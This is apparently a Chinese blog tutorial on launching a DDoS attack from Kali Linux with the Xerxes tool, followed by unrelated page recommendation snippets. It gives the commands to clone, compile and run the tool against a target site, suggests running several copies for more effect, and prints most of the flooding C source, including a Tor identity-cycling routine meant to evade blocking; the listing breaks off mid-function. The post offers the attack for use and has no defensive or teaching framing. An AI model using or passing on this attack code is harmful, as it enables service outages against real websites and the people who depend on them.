kali下Xerxes脚本实现DDOS攻击

参考视频:https://www.youtube.com/watch?v=rEpSmCWTQcY

1、

cd /tmp
git clone https://github.com/zanyarjamal/xerxes.git

cd xerxes

gcc xerxes.c -o xerxes

./xerxes 目标网站,www开头 端口,一般是80

#如果感觉效果不是很明显,可以多开几个窗口跑一样的内容。

http://www.isitdownrightnow.com/ 检测网站是否down掉了。把要检测网址粘入即可。

示例脚本xerxes.c:

/* XerXes - Most powerful dos tool - #SJ edited bY mR.Thg */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
int make_socket(char *host, char *port) {
        struct addrinfo hints, *servinfo, *p;
        int sock, r;
//      fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
        memset(&hints, 0, sizeof(hints));
        hints.ai_family = AF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
                fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
                exit(0);
        }
        for(p = servinfo; p != NULL; p = p->ai_next) {
                if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
                        continue;
                }
                if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
                        close(sock);
                        continue;
                }
                break;
        }
        if(p == NULL) {
                if(servinfo)
                        freeaddrinfo(servinfo);
                fprintf(stderr, "No connection could be made\n");
                exit(0);
        }
        if(servinfo)
                freeaddrinfo(servinfo);
        fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
        return sock;
}
 
void broke(int s) {
        // do nothing
}
 
#define CONNECTIONS 8
#define THREADS 48
 
void attack(char *host, char *port, int id) {
        int sockets[CONNECTIONS];
        int x, g=1, r;
        for(x=0; x!= CONNECTIONS; x++)
                sockets[x]=0;
        signal(SIGPIPE, &broke);
        while(1) {
                for(x=0; x != CONNECTIONS; x++) {
                        if(sockets[x] == 0)
                                sockets[x] = make_socket(host, port);
                        r=write(sockets[x], "\0", 1);
                        if(r == -1) {
                                close(sockets[x]);
                                sockets[x] = make_socket(host, port);
                        } else
//                              fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
                        fprintf(stderr, "[%i: Packet Sent]\n", id);
                }
                fprintf(stderr, "[%i: Packet Sent]\n", id);
                usleep(300000);
        }
}
 
void cycle_identity() {
        int r;
        int socket = make_socket("localhost", "9050");
        write(socket, "AUTHENTICATE \"\"\n", 16);
        while(1) {
                r=write(socket, "signal NEWNYM\n\x00", 16);
                fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
                usleep(300000);
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,313评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,369评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,916评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,333评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,425评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,481评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,491评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,268评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,719评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,004评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,179评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,832评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,510评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,153评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,402评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,045评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,071评论 2 352

推荐阅读更多精彩内容

  • 一天 三睡 一天 三省 真的 很糟糕了
    feifur阅读 320评论 0 0
  • 街道 一束束娇滴滴的玫瑰绽放着异样的光彩 它们努力的为情人展现骄傲自满的美 它们渴望在情人的环抱里感受幸福的滋味 ...
    花的忧伤阅读 499评论 0 3
  • 对于想要入门葡萄酒的人来说,单宁是必须要读懂的一个名词,因为在谈葡萄酒时,单宁是一个高频词汇,是你揭开葡萄酒神秘面...
    酒瓶说阅读 589评论 0 0